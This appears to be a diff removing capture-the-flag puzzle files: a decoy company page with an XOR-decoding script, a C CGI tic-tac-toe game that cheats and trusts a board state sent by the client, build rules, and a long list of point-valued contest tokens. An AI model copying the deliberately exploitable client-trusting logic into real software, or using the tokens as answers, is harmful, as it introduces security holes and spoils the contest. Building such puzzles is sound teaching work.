||||
|
||||
for (i = 0; i < c.length; i += 1) {
|
||||
s.push(c.charCodeAt(i) ^ k.charCodeAt(i%3) ^ r);
|
||||
}
|
||||
|
||||
console.log(escape(String.fromCharCode.apply(0, s)));
|
||||
o.innerHTML = String.fromCharCode.apply(0, s);
|
||||
//o.innerHTML = s.join(" ");
|
||||
}
|
||||
|
||||
window.onload = update;
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
<h1>General Statics</h1>
|
||||
|
||||
<p>
|
||||
General Statics is pleased to announce our shift into the casual gaming
|
||||
market. Please try our new flagship product: Tic-Tac-Toe Extreme!
|
||||
</p>
|
||||
|
||||
<table id="game">
|
||||
<tr><td id="t00" onclick="clicky(0, 0)"></td><td id="t01" onclick="clicky(0, 1)"></td><td id="t02" onclick="clicky(0, 2)"></td></tr>
|
||||
<tr><td id="t10" onclick="clicky(1, 0)"></td><td id="t11" onclick="clicky(1, 1)"></td><td id="t12" onclick="clicky(1, 2)"></td></tr>
|
||||
<tr><td id="t20" onclick="clicky(2, 0)"></td><td id="t21" onclick="clicky(2, 1)"></td><td id="t22" onclick="clicky(2, 2)"></td></tr>
|
||||
<caption>You play X. Reload this page to start over.</caption>
|
||||
</table>
|
||||
|
||||
<p id="output">
|
||||
This strategic shift will bring our company back to the forefront
|
||||
of revenue-generating companies.
|
||||
</p>
|
||||
|
||||
<h2>About Us</h2>
|
||||
|
||||
<p>
|
||||
Most strategic planning involves thinking and talking
|
||||
about the future. Crafting and executing strategy requires
|
||||
actually making decisions and acting on the future. And doing
|
||||
so in an “expeditionary” manner that enables continuous
|
||||
change, flexibility, and adaptability.
|
||||
</p>
|
||||
|
||||
<p>
|
||||
General Statics continuously delivers value through leveraging technology to
|
||||
change behaviors, processes and practices. In the Knowledge Economy, many
|
||||
of the most decisive sources of value are intangible. We
|
||||
help our clients to optimize both tangible and intangible
|
||||
<!-- 8↘4↘3↓9↙3↘4↘6↓3↙3↓7↓7↘13↘4↘5↘3↓8↙7↘ -->
|
||||
value. We deploy and leverage new technologies to change the
|
||||
dynamics of organizational processes, relationships, and
|
||||
interactions with customers, clients, partners, members, and
|
||||
other stakeholders. This drives enhanced performance, reduces
|
||||
costs, and enables enterprises to improve their competitive
|
||||
advantage.
|
||||
</p>
|
||||
|
||||
<p>
|
||||
Knowledge Age enterprises must realign their strategies,
|
||||
processes and practices to the post-recession Economy.
|
||||
New generations of measurement and analytics tools are
|
||||
making it possible for enterprises to pursue new
|
||||
strategies that lead them to higher planes of nimble
|
||||
performance.
|
||||
</p>
|
||||
|
||||
<p id="login">
|
||||
Employee access:
|
||||
<input id="input" onchange="u();">
|
||||
<audio autoplay="go" loop="yeah" src="msg.ogg">
|
||||
</p>
|
||||
|
||||
</body>
|
||||
</html>
|
Binary file not shown.
Binary file not shown.
Before Width: | Height: | Size: 18 KiB |
Binary file not shown.
Before Width: | Height: | Size: 39 KiB |
|
@ -1,198 +0,0 @@
|
|||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include "cgi.h"
|
||||
|
||||
const char *b64_aleph = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@";
|
||||
|
||||
typedef int board_t[3][3];
|
||||
|
||||
void
|
||||
b64_of_board(char *out, board_t board)
|
||||
{
|
||||
int y, x;
|
||||
|
||||
for (y = 0; y < 3; y += 1) {
|
||||
int acc = 0;
|
||||
|
||||
for (x = 0; x < 3; x += 1) {
|
||||
acc <<= 2;
|
||||
acc += board[y][x];
|
||||
}
|
||||
out[y] = b64_aleph[acc];
|
||||
}
|
||||
}
|
||||
|
||||
void
|
||||
board_of_b64(board_t out, char *b64)
|
||||
{
|
||||
int y, x;
|
||||
|
||||
for (y = 0; y < 3; y += 1) {
|
||||
char *p = strchr(b64_aleph, b64[y]);
|
||||
int acc = 0;
|
||||
|
||||
if (p) {
|
||||
acc = p - b64_aleph;
|
||||
}
|
||||
|
||||
for (x = 2; x >= 0; x -= 1) {
|
||||
out[y][x] = acc & 3;
|
||||
acc >>= 2;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void
|
||||
print_board(board_t board)
|
||||
{
|
||||
int y, x;
|
||||
|
||||
for (y = 0; y < 3; y += 1) {
|
||||
for (x = 0; x < 3; x += 1) {
|
||||
printf("%d", board[y][x]);
|
||||
}
|
||||
printf("\n");
|
||||
}
|
||||
}
|
||||
|
||||
int
|
||||
winner(board_t board)
|
||||
{
|
||||
int i, j, k;
|
||||
|
||||
for (i = 0; i < 3; i += 1) {
|
||||
for (k = 0; k < 3; k += 1) {
|
||||
int winner = -1;
|
||||
|
||||
for (j = 0; j < 3; j += 1) {
|
||||
int b;
|
||||
|
||||
switch (k) {
|
||||
case 0:
|
||||
b = board[i][j];
|
||||
break;
|
||||
case 1:
|
||||
b = board[j][i];
|
||||
break;
|
||||
case 2:
|
||||
/* This will happen 3× as often as it needs to. Who cares. */
|
||||
b = board[j][j];
|
||||
break;
|
||||
}
|
||||
|
||||
if (winner == -1) {
|
||||
winner = b;
|
||||
} else if (winner != b) {
|
||||
winner = -1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (winner > 0) {
|
||||
return winner;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
void
|
||||
claim(board_t board, int x, int y, int whom)
|
||||
{
|
||||
int prev = board[x][y];
|
||||
int i;
|
||||
|
||||
if (prev == whom) {
|
||||
return;
|
||||
}
|
||||
|
||||
for (i = 0; i < 9; i += 1) {
|
||||
if (! board[i/3][i%3]) {
|
||||
board[i/3][i%3] = prev;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
board[x][y] = whom;
|
||||
}
|
||||
|
||||
void
|
||||
make_move(board_t board)
|
||||
{
|
||||
switch (winner(board)) {
|
||||
case 1:
|
||||
printf("A WINNER IS YOU\n");
|
||||
exit(0);
|
||||
case 2:
|
||||
/* I win; we can keep playing though, because I (neale)
|
||||
don't want to write any more code to handle this. */
|
||||
break;
|
||||
case 3:
|
||||
printf("A WINNER IS WHO?\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
/* Reserve our final space */
|
||||
claim(board, 2, 2, 0);
|
||||
|
||||
/* First move */
|
||||
if (board[1][1] != 2) {
|
||||
claim(board, 1, 1, 2);
|
||||
return;
|
||||
}
|
||||
|
||||
/* Second move */
|
||||
if (board[0][0] != 2) {
|
||||
|
||||
/* Prevent them from winning legally */
|
||||
if (board[0][2]) {
|
||||
claim(board, 1, 2, 0);
|
||||
}
|
||||
if (board[2][0]) {
|
||||
claim(board, 2, 1, 0);
|
||||
}
|
||||
claim(board, 0, 0, 2);
|
||||
return;
|
||||
}
|
||||
|
||||
/* Third move */
|
||||
claim(board, 2, 2, 2);
|
||||
}
|
||||
|
||||
|
||||
int
|
||||
main(int argc, char *argv[])
|
||||
{
|
||||
char b64[4] = {0};
|
||||
board_t board = {0};
|
||||
|
||||
if (-1 == cgi_init(argv)) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
while (1) {
|
||||
size_t len;
|
||||
char key[20];
|
||||
|
||||
len = cgi_item(key, sizeof key);
|
||||
if (0 == len) break;
|
||||
switch (key[0]) {
|
||||
case 'b':
|
||||
cgi_item(b64, sizeof b64);
|
||||
break;
|
||||
default:
|
||||
cgi_item(key, 0);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
printf("Content-type: text/plain\r\n\r\n");
|
||||
board_of_b64(board, b64);
|
||||
make_move(board);
|
||||
b64_of_board(b64, board);
|
||||
fwrite(b64, 1, 3, stdout);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
|
@ -1,8 +0,0 @@
|
|||
GS_PKGDIR = $(TARGET)/gs
|
||||
|
||||
gs-install:
|
||||
mkdir -p $(GS_PKGDIR)
|
||||
cp packages/gs/answers.txt $(GS_PKGDIR)
|
||||
|
||||
PACKAGES += gs
|
||||
|
Binary file not shown.
|
@ -1,8 +0,0 @@
|
|||
HOST_PKGDIR = $(TARGET)/host
|
||||
|
||||
host-install:
|
||||
mkdir -p $(HOST_PKGDIR)
|
||||
cp packages/host/tokens.txt $(HOST_PKGDIR)
|
||||
|
||||
PACKAGES += host
|
||||
|
|
@ -1,500 +0,0 @@
|
|||
host:100:xunis-kutyb-kokox
|
||||
host:200:xolas-segap-tisax
|
||||
host:300:xebep-vevuz-vycex
|
||||
host:400:xuvas-codas-fovox
|
||||
host:500:xuvig-pyteg-vunyx
|
||||
host:600:xocap-cebuz-dupax
|
||||
host:700:xizif-zyzut-lilix
|
||||
host:800:xopeg-rabad-dirax
|
||||
host:900:xozag-mufum-mubex
|
||||
host:1000:xebib-lycak-zebux
|
||||
host:100:xetad-ruhyt-mutux
|
||||
host:200:xosin-hufer-zisyx
|
||||
host:300:xirob-tazin-gomex
|
||||
host:400:xolag-fefir-nanux
|
||||
host:500:xitip-vanih-nyzax
|
||||
host:600:xuzip-semub-mesux
|
||||
host:700:xeten-cekuh-felax
|
||||
host:800:xufir-meroz-rovix
|
||||
host:900:xurav-sudav-padix
|
||||
host:1000:xiher-kyvyd-dipix
|
||||
host:100:xepep-lupyp-hofax
|
||||
host:200:xuvol-cyfaf-ficex
|
||||
host:300:xegam-kehes-hipux
|
||||
host:400:xoris-rulyz-zybex
|
||||
host:500:xelas-zogug-carix
|
||||
host:600:xuhoz-sapag-zahex
|
||||
host:700:xocoz-cumid-lulax
|
||||
host:800:xesat-cydun-dofix
|
||||
host:900:xugog-hareb-pysex
|
||||
host:1000:xiken-civyz-sopex
|
||||
host:100:xolah-loziv-serex
|
||||
host:200:xogar-vasok-tydix
|
||||
host:300:xihen-redyr-garex
|
||||
host:400:xenat-fenas-migax
|
||||
host:500:xored-zurif-synix
|
||||
host:600:xehil-hivuv-kamux
|
||||
host:700:xuhav-nihif-sucix
|
||||
host:800:xeteg-sylyh-dolex
|
||||
host:900:xuzel-matev-robyx
|
||||
host:1000:xidaf-lilyk-mypex
|
||||
host:100:xibek-pocec-cynyx
|
||||
host:200:xoloh-delic-nuhex
|
||||
host:300:xezib-gelor-micux
|
||||
host:400:xocaz-civag-fyhax
|
||||
host:500:xunab-gofoz-sysox
|
||||
host:600:xemab-numul-devyx
|
||||
host:700:xinar-nufub-vufix
|
||||
host:800:xumek-revid-safax
|
||||
host:900:xukel-sesuz-dekox
|
||||
host:1000:xicaf-sesaz-vivax
|
||||
host:100:xidap-nalem-vacix
|
||||
host:200:xekak-lozac-bikox
|
||||
host:300:xenas-pygaf-bidux
|
||||
host:400:xuneg-donuk-tobex
|
||||
host:500:xubar-benof-micox
|
||||
host:600:xebic-cipov-pyzex
|
||||
host:700:xulac-kuhak-hymux
|
||||
host:800:xodil-nihop-disex
|
||||
host:900:xemas-libic-basux
|
||||
host:1000:xolaf-zuzuv-rafex
|
||||
host:100:xilif-peked-nigox
|
||||
host:200:xopil-lepub-lafax
|
||||
host:300:xuhak-begat-nevex
|
||||
host:400:xunal-sazan-sudax
|
||||
host:500:xokic-kitys-talix
|
||||
host:600:xopev-fehos-ginax
|
||||
host:700:xihin-nanih-sivox
|
||||
host:800:xupab-holoc-polyx
|
||||
host:900:xogaf-sycyr-kylax
|
||||
host:1000:xilez-masah-cefex
|
||||
host:100:xofop-fafor-polyx
|
||||
host:200:xefag-fisin-zezox
|
||||
host:300:xefip-rugyh-leryx
|
||||
host:400:xeveh-kulyk-cafax
|
||||
host:500:xisop-rutug-sabyx
|
||||
host:600:xodog-zuvon-velyx
|
||||
host:700:xiral-dased-cocix
|
||||
host:800:xupin-lipeg-ticix
|
||||
host:900:xubog-gumyt-hirix
|
||||
host:1000:xudot-tasap-geryx
|
||||
host:100:xulob-vugik-fylax
|
||||
host:200:xocig-kyhez-cevux
|
||||
host:300:xibep-lupot-licox
|
||||
host:400:xesol-tuzol-kysex
|
||||
host:500:xidet-mobuv-gudyx
|
||||
host:600:xifec-nasak-helex
|
||||
host:700:xehis-tycar-mimix
|
||||
host:800:xosir-gabyn-ruryx
|
||||
host:900:xorim-cynaf-cunex
|
||||
host:1000:xodic-casor-sifex
|
||||
host:100:xubik-cucyg-tyrix
|
||||
host:200:xemok-dicam-barax
|
||||
host:300:xedih-cemum-masyx
|
||||
host:400:xuviv-pyzod-vefix
|
||||
host:500:xumon-nosar-ranax
|
||||
host:600:xegem-hyvev-lumux
|
||||
host:700:xivog-dygid-horox
|
||||
host:800:xulac-bugym-zakyx
|
||||
host:900:xikav-rusym-fisax
|
||||
host:1000:xebon-gohyf-ribix
|
||||
host:100:xenar-volyb-zidox
|
||||
host:200:ximab-vobic-nysex
|
||||
host:300:xusib-vokat-pulex
|
||||
host:400:xomef-dahid-gymox
|
||||
host:500:xugiv-lypop-rocex
|
||||
host:600:xuhek-rikyd-kuhox
|
||||
host:700:xemaz-gilak-nubux
|
||||
host:800:xirip-gopez-zakox
|
||||
host:900:xigel-fubov-mocix
|
||||
host:1000:xosar-mirun-cefux
|
||||
host:100:xupov-dyfef-gybex
|
||||
host:200:xorih-bodog-mizax
|
||||
host:300:xudif-dizup-tebix
|
||||
host:400:ximal-mykam-nonex
|
||||
host:500:xoget-fuvek-fumex
|
||||
host:600:xefak-bitoh-vebyx
|
||||
host:700:xohin-gysip-gocix
|
||||
host:800:xomav-banon-hefax
|
||||
host:900:xuvez-fiveb-kyrex
|
||||
host:1000:xereg-monit-tyfax
|
||||
host:100:xonip-cykyz-ruzux
|
||||
host:200:xotok-paget-kytex
|
||||
host:300:xikal-tigyd-vedix
|
||||
host:400:xepof-zafet-hemax
|
||||
host:500:xefet-cagoh-lupux
|
||||
host:600:xeteh-nyvem-babux
|
||||
host:700:xedit-sezup-tumox
|
||||
host:800:xuhet-tuhyn-polix
|
||||
host:900:xonib-tyfan-lagix
|
||||
host:1000:xurip-gapyd-dusex
|
||||
host:100:xenac-vasaz-vipix
|
||||
host:200:xuhap-focyp-zilax
|
||||
host:300:xoboc-dacof-lisix
|
||||
host:400:xuvov-nuzyb-dolix
|
||||
host:500:xidip-fover-papix
|
||||
host:600:xodol-katyz-nilyx
|
||||
host:700:xusev-subyd-vecux
|
||||
host:800:xohor-tobuc-zunyx
|
||||
host:900:xecir-lofub-hurux
|
||||
host:1000:xesid-tyzim-nusix
|
||||
host:100:xedab-sepog-sybax
|
||||
host:200:xudic-pitol-sazox
|
||||
host:300:xolop-rylah-zebyx
|
||||
host:400:xobot-ruveh-nygex
|
||||
host:500:xomeb-pomuf-barox
|
||||
host:600:xizih-mulov-rylyx
|
||||
host:700:xifet-lupiv-zanex
|
||||
host:800:xutev-koser-rumyx
|
||||
host:900:xocir-bakim-zanax
|
||||
host:1000:xivas-nofic-decax
|
||||
host:100:xuras-pelah-gehyx
|
||||
host:200:xemec-hezol-vacux
|
||||
host:300:xenal-vygub-higox
|
||||
host:400:xilif-pevop-calix
|
||||
host:500:xuzik-ramor-rypax
|
||||
host:600:xurol-famez-limox
|
||||
host:700:xegip-salyp-dekex
|
||||
host:800:xetof-repid-zarux
|
||||
host:900:xozec-natag-kygix
|
||||
host:1000:xepih-dycum-herix
|
||||
host:100:ximer-byzah-sezox
|
||||
host:200:xocez-vygit-zipix
|
||||
host:300:xozod-zafol-nazax
|
||||
host:400:xovib-zoled-podix
|
||||
host:500:xudid-degyc-cegex
|
||||
host:600:xolec-gigod-mynux
|
||||
host:700:xirom-kezyn-cevex
|
||||
host:800:xenoh-likeg-cimyx
|
||||
host:900:xokeg-boduh-gubox
|
||||
host:1000:xetem-sapiz-rogyx
|
||||
host:100:xudez-suvol-pikax
|
||||
host:200:xuveh-hykap-mamax
|
||||
host:300:xoraf-sofif-malox
|
||||
host:400:xikit-tenys-telex
|
||||
host:500:xupev-zoker-cipox
|
||||
host:600:xutib-cepov-sifox
|
||||
host:700:xonos-vagib-gyfyx
|
||||
host:800:xolis-mopys-rahex
|
||||
host:900:xodik-pycis-nudux
|
||||
host:1000:xuhol-tabob-bezux
|
||||
host:100:xizen-gylad-kegux
|
||||
host:200:xoziv-pubad-gelyx
|
||||
host:300:xesad-zycal-gusex
|
||||
host:400:xonip-mofic-godyx
|
||||
host:500:xinib-repek-gabox
|
||||
host:600:xekic-micat-ketux
|
||||
host:700:xumoc-cabyf-byvyx
|
||||
host:800:xozal-cokyg-telix
|
||||
host:900:xobos-mafov-zosox
|
||||
host:1000:xoset-gedog-rinux
|
||||
host:100:xosef-lagor-gekox
|
||||
host:200:xukik-netok-narex
|
||||
host:300:xepal-pidug-zinix
|
||||
host:400:xorar-katuc-hufax
|
||||
host:500:xipim-rynog-huvyx
|
||||
host:600:xufob-busis-lobyx
|
||||
host:700:xusol-cilud-gupux
|
||||
host:800:xipif-ginif-malix
|
||||
host:900:xociz-gyfet-cyzix
|
||||
host:1000:xobas-vozap-rizax
|
||||
host:100:xesob-lulet-rypex
|
||||
host:200:xoloc-dusof-tonex
|
||||
host:300:xomis-zypuz-bycox
|
||||
host:400:xugal-kibif-gafax
|
||||
host:500:xizif-vuvur-nuzyx
|
||||
host:600:xozob-legug-lyhyx
|
||||
host:700:xomor-fedad-zovix
|
||||
host:800:xuziz-vytyr-sifux
|
||||
host:900:xemap-ciman-mumax
|
||||
host:1000:xeter-hecuz-sucux
|
||||
host:100:xonos-kahak-hypax
|
||||
host:200:xogav-dukym-dylux
|
||||
host:300:xinen-lenab-syfox
|
||||
host:400:xidos-nekuh-davyx
|
||||
host:500:xuveb-cofot-lovox
|
||||
host:600:xuciz-cedyp-pigex
|
||||
host:700:xutel-tugof-zyfyx
|
||||
host:800:xirik-seguc-fykux
|
||||
host:900:xumod-zador-gelux
|
||||
host:1000:xodom-vylah-kovex
|
||||
host:100:xogab-hamed-sugux
|
||||
host:200:xufof-sygib-davux
|
||||
host:300:ximom-hyhez-ficax
|
||||
host:400:xezaz-gukop-gytox
|
||||
host:500:xomog-pyfik-vanax
|
||||
host:600:ximog-repud-selox
|
||||
host:700:xidov-meheh-zakax
|
||||
host:800:xupic-lagus-kybux
|
||||
host:900:xocof-zacop-ruhix
|
||||
host:1000:xutap-dyleh-fufox
|
||||
host:100:xuhef-bivad-sazux
|
||||
host:200:xudop-cykic-lapix
|
||||
host:300:xovit-gizeb-cuhix
|
||||
host:400:xedor-cules-safox
|
||||
host:500:xokel-zodyp-vycix
|
||||
host:600:xufek-zyzem-birex
|
||||
host:700:xemil-kosaz-negex
|
||||
host:800:xosat-cohus-pomux
|
||||
host:900:xotip-losof-vykux
|
||||
host:1000:xukon-hoked-difix
|
||||
host:100:xicac-hypib-zazex
|
||||
host:200:ximob-gotoz-bydyx
|
||||
host:300:xilah-lavof-gyhyx
|
||||
host:400:xumab-liles-momyx
|
||||
host:500:xenep-zofop-dafix
|
||||
host:600:xogem-dumid-tamax
|
||||
host:700:xodev-togyb-zinax
|
||||
host:800:xobem-mivor-kusix
|
||||
host:900:xulim-mupem-fytox
|
||||
host:1000:xugav-tezup-hymex
|
||||
host:100:xolid-pudev-dikux
|
||||
host:200:xinih-gegit-fomyx
|
||||
host:300:ximoh-talif-dunax
|
||||
host:400:xokoc-vezos-fuhax
|
||||
host:500:xenih-nesog-kahux
|
||||
host:600:xidom-megym-milix
|
||||
host:700:xonam-folah-gepyx
|
||||
host:800:xikak-cafac-konyx
|
||||
host:900:xolep-valuf-kamax
|
||||
host:1000:xitap-megit-bekax
|
||||
host:100:xofab-lytac-kafux
|
||||
host:200:xitec-focon-kokox
|
||||
host:300:xezeb-kazun-bohox
|
||||
host:400:xukod-basys-bezox
|
||||
host:500:xefoc-luryb-dalyx
|
||||
host:600:xinoz-fybad-lahux
|
||||
host:700:xugos-gedor-mokox
|
||||
host:800:xusib-fydup-busox
|
||||
host:900:xovat-pibam-guzix
|
||||
host:1000:xiver-giteg-pygex
|
||||
host:100:xudel-mifol-zikox
|
||||
host:200:xefem-dykub-danex
|
||||
host:300:xirov-lyfip-vadex
|
||||
host:400:xomit-matug-papix
|
||||
host:500:xekit-denot-nylex
|
||||
host:600:xitas-rozuf-rikax
|
||||
host:700:xefov-samyt-lilux
|
||||
host:800:xobek-gidip-gylux
|
||||
host:900:xolep-venyv-gabax
|
||||
host:1000:ximon-rirer-syvux
|
||||
host:100:xizon-kanod-hycyx
|
||||
host:200:xocir-mekin-kubyx
|
||||
host:300:xiveb-banev-hufox
|
||||
host:400:xurag-fimas-mahox
|
||||
host:500:xilet-mudol-lyvox
|
||||
host:600:xefil-vivik-gytix
|
||||
host:700:xizib-funyz-bepyx
|
||||
host:800:xepec-fapyn-pypix
|
||||
host:900:xipih-gynep-libex
|
||||
host:1000:ximib-vakuk-gizax
|
||||
host:100:xipov-garus-fehax
|
||||
host:200:xucep-hukic-fuhex
|
||||
host:300:xipot-kygel-vyzax
|
||||
host:400:xomac-liket-domix
|
||||
host:500:xetas-nalag-vatix
|
||||
host:600:xelos-sehaz-vupyx
|
||||
host:700:xuled-gylef-folex
|
||||
host:800:xupol-niren-sahex
|
||||
host:900:xotiv-lynek-gapox
|
||||
host:1000:xuter-tobin-dabix
|
||||
host:100:ximid-foder-mibex
|
||||
host:200:xokon-carog-kotex
|
||||
host:300:xifaz-kygan-devox
|
||||
host:400:xubib-lusem-tulyx
|
||||
host:500:xumig-vumur-cagyx
|
||||
host:600:xibat-socet-kadex
|
||||
host:700:xeciv-gekod-tovax
|
||||
host:800:xifar-bygyl-tagex
|
||||
host:900:xovas-vecak-tigix
|
||||
host:1000:xusat-tenan-bynix
|
||||
host:100:xufad-cucyn-serax
|
||||
host:200:xosiv-pukul-sulux
|
||||
host:300:xodif-gyzis-hupex
|
||||
host:400:xudad-nalod-nahex
|
||||
host:500:xizep-cutih-zumyx
|
||||
host:600:xisag-palyz-zehax
|
||||
host:700:xedar-nobam-rocyx
|
||||
host:800:xigeh-pomon-zucux
|
||||
host:900:xesaf-vunuc-cocyx
|
||||
host:1000:xired-varor-honox
|
||||
host:100:xibed-curuc-mokax
|
||||
host:200:xerah-gurez-dupix
|
||||
host:300:xegor-fyraf-cizux
|
||||
host:400:xidav-bedob-kuhyx
|
||||
host:500:xicem-cydis-mufix
|
||||
host:600:xulac-vofuh-sytyx
|
||||
host:700:xovir-cociv-rudox
|
||||
host:800:xehos-dapif-vurax
|
||||
host:900:xigod-rizyk-kebax
|
||||
host:1000:xonon-zoboh-farax
|
||||
host:100:xobas-gidyt-burox
|
||||
host:200:xotap-vibyd-fefix
|
||||
host:300:xoviz-nivit-kymox
|
||||
host:400:xelaz-lamiv-rurix
|
||||
host:500:xezig-lazer-hefyx
|
||||
host:600:xelor-bogeh-nocux
|
||||
host:700:xulof-saref-gehix
|
||||
host:800:xeneh-degub-tynax
|
||||
host:900:xogof-sisib-tyhyx
|
||||
host:1000:xubol-pynyp-hodax
|
||||
host:100:xelir-likep-gulex
|
||||
host:200:xiboh-kodab-nykax
|
||||
host:300:xodat-tyhas-mysyx
|
||||
host:400:xevis-surac-dybex
|
||||
host:500:xugom-tutih-suhix
|
||||
host:600:xomit-vyvyl-bypex
|
||||
host:700:xozaz-vydyk-cacax
|
||||
host:800:xulih-pizes-kemax
|
||||
host:900:xetop-timad-ladyx
|
||||
host:1000:xerar-cafad-fipex
|
||||
host:100:xezer-tuvon-rabox
|
||||
host:200:xicab-torut-zesux
|
||||
host:300:xizar-zonob-cazix
|
||||
host:400:xezes-sifub-rubax
|
||||
host:500:xezit-digep-vilax
|
||||
host:600:xuhad-popun-muhux
|
||||
host:700:xotos-darer-vyrix
|
||||
host:800:xepic-bykev-kadox
|
||||
host:900:xodoh-zamul-migax
|
||||
host:1000:xoviv-pefyp-febyx
|
||||
host:100:xohil-zifec-sydyx
|
||||
host:200:xizid-zegis-vyvux
|
||||
host:300:xupit-nihyb-mevax
|
||||
host:400:xoboz-velen-guzax
|
||||
host:500:xomah-ponyf-puhyx
|
||||
host:600:xiril-hysan-retix
|
||||
host:700:xirep-cevyr-tonex
|
||||
host:800:xihab-racez-lihex
|
||||
host:900:xudis-fazib-zolax
|
||||
host:1000:xureb-nemoh-kivox
|
||||
host:100:xocon-daniv-hysix
|
||||
host:200:xitel-likip-kibyx
|
||||
host:300:xetik-nokyb-tasox
|
||||
host:400:xepoz-gasoz-mypax
|
||||
host:500:xotet-dedos-sorix
|
||||
host:600:xelez-hynum-nesux
|
||||
host:700:xiron-dyhef-mohix
|
||||
host:800:xunib-marig-kycox
|
||||
host:900:xedav-dybel-danox
|
||||
host:1000:xideb-nolub-gocux
|
||||
host:100:xefon-rogoh-kizux
|
||||
host:200:xuzel-pofyp-sotix
|
||||
host:300:xihoh-mamyr-luzex
|
||||
host:400:xobel-rapof-kymax
|
||||
host:500:xehaz-lysez-zyvux
|
||||
host:600:xuhos-tilac-cesax
|
||||
host:700:xetin-fofap-cuzox
|
||||
host:800:xitih-gyhyv-docex
|
||||
host:900:xikal-kitop-zygox
|
||||
host:1000:xezot-fycuv-zakex
|
||||
host:100:xizas-basoc-kinux
|
||||
host:200:xodos-gyluv-dudyx
|
||||
host:300:xilib-dyryb-cukyx
|
||||
host:400:xucev-nypif-zamox
|
||||
host:500:ximiz-susec-gobex
|
||||
host:600:xokic-febac-tasex
|
||||
host:700:xuzis-kofih-zulyx
|
||||
host:800:xekek-gygyf-nonox
|
||||
host:900:xebof-huvof-syvix
|
||||
host:1000:xufiv-syhas-bytex
|
||||
host:100:xelap-sihic-kavex
|
||||
host:200:xubah-pycec-nucax
|
||||
host:300:xerik-vamos-tenax
|
||||
host:400:xegon-kozos-barix
|
||||
host:500:xihoz-nafeh-cynix
|
||||
host:600:xokoc-fizyd-vinax
|
||||
host:700:xemiz-batyk-vesix
|
||||
host:800:xoren-tytop-dobex
|
||||
host:900:xuzav-tufuz-kovax
|
||||
host:1000:xizot-taven-rukix
|
||||
host:100:xubis-bemur-kocyx
|
||||
host:200:xizor-sizes-nigax
|
||||
host:300:xicof-tyvud-cisox
|
||||
host:400:xisof-vylip-sogyx
|
||||
host:500:xevop-geris-fukyx
|
||||
host:600:xezef-cufor-lohux
|
||||
host:700:xinod-rofig-tesux
|
||||
host:800:xokiv-zofep-sofux
|
||||
host:900:xopal-bofet-nidix
|
||||
host:1000:xizen-byvyn-zymyx
|
||||
host:100:xutob-mopiz-cesyx
|
||||
host:200:xilis-pifir-bovox
|
||||
host:300:xufoc-cuvyv-rupax
|
||||
host:400:xirif-nepef-silox
|
||||
host:500:xetoz-doduh-nedyx
|
||||
host:600:xefoh-pufod-tytux
|
||||
host:700:xelit-pupik-gylux
|
||||
host:800:xosad-nedol-mecax
|
||||
host:900:xinit-hytan-ledux
|
||||
host:1000:xizom-dymus-zisox
|
||||
host:100:xopap-pumat-cugyx
|
||||
host:200:xibed-kozid-bihox
|
||||
host:300:xizos-lefyf-sypux
|
||||
host:400:xinib-ratib-runix
|
||||
host:500:xonev-tymeg-lihyx
|
||||
host:600:xeham-zasig-mozux
|
||||
host:700:xumoh-nahyz-begix
|
||||
host:800:xufar-kohym-bykyx
|
||||
host:900:xinil-humel-dutux
|
||||
host:1000:xefeg-decur-kazyx
|
||||
host:100:xupen-nebel-cecox
|
||||
host:200:xudav-cuvuh-mavex
|
||||
host:300:xohan-facel-putox
|
||||
host:400:xurom-tomug-bulax
|
||||
host:500:xicah-mycet-totax
|
||||
host:600:xucag-fytal-hopux
|
||||
host:700:xudek-nahet-bomex
|
||||
host:800:xubas-fogam-nelix
|
||||
host:900:xevem-dadeg-revux
|
||||
host:1000:xocac-namuc-locux
|
||||
host:100:xezov-gybez-bosox
|
||||
host:200:xihev-cagaf-gakyx
|
||||
host:300:xopor-cyhul-guvux
|
||||
host:400:xuzem-cunaz-zydix
|
||||
host:500:xogin-bilad-gulix
|
||||
host:600:xigab-buzed-sytix
|
||||
host:700:xuvon-zorys-fapix
|
||||
host:800:xusof-bygap-nymax
|
||||
host:900:xokic-bimyg-dutux
|
||||
host:1000:xinez-hynyh-tegex
|
||||
host:100:xumec-culor-racix
|
||||
host:200:xobis-rogoc-sihux
|
||||
host:300:xideg-sanud-denox
|
||||
host:400:xerig-vytut-zutox
|
||||
host:500:xicad-dykom-vimax
|
||||
host:600:xedad-perig-fycux
|
||||
host:700:xotig-dotil-vevox
|
||||
host:800:xetim-tyhoc-fidox
|
||||
host:900:xuzip-bymyb-vehix
|
||||
host:1000:xohil-kuhuc-comyx
|
||||
host:100:xocat-cuhaz-suhyx
|
||||
host:200:xunas-tazuh-rytyx
|
||||
host:300:xucab-melih-ginix
|
||||
host:400:xicig-sumik-lynox
|
||||
host:500:xikag-dosed-muvix
|
||||
host:600:xifab-hytim-sagix
|
||||
host:700:xobor-hypor-suhox
|
||||
host:800:xosos-hysor-tapux
|
||||
host:900:xotih-nahis-sutex
|
||||
host:1000:xocas-voboc-bevyx
|
||||
host:100:xunod-mopol-sugex
|
||||
host:200:xosan-sipuh-dizyx
|
||||
host:300:xirak-cesad-kuzox
|
||||
host:400:xudin-nocem-minux
|
||||
host:500:xolen-zogim-fyhux
|
||||
host:600:xipot-pazaz-vurux
|
||||
host:700:xesad-tudah-kopix
|
||||
host:800:xomam-simis-gutex
|
||||
host:900:xevos-hoteh-pymox
|
||||
host:1000:xodab-hofak-celyx
|
||||
host:100:xuboh-kegim-kubyx
|
||||
host:200:xolad-zekam-puzex
|
||||
host:300:xudiv-bigyh-subax
|
||||
host:400:xemek-kupiv-tibix
|
||||
host:500:xufoc-lumil-namix
|
||||
host:600:xegef-hynyf-novox
|
||||
host:700:xetev-vokig-covux
|
||||
host:800:xisic-gicev-pozyx
|
||||
host:900:xofag-fysum-rivex
|
||||
host:1000:xesok-kofyc-fyhax
|
|
@ -1,18 +0,0 @@
|
|||
INFERNO_PKGDIR = $(TARGET)/inferno
|
||||
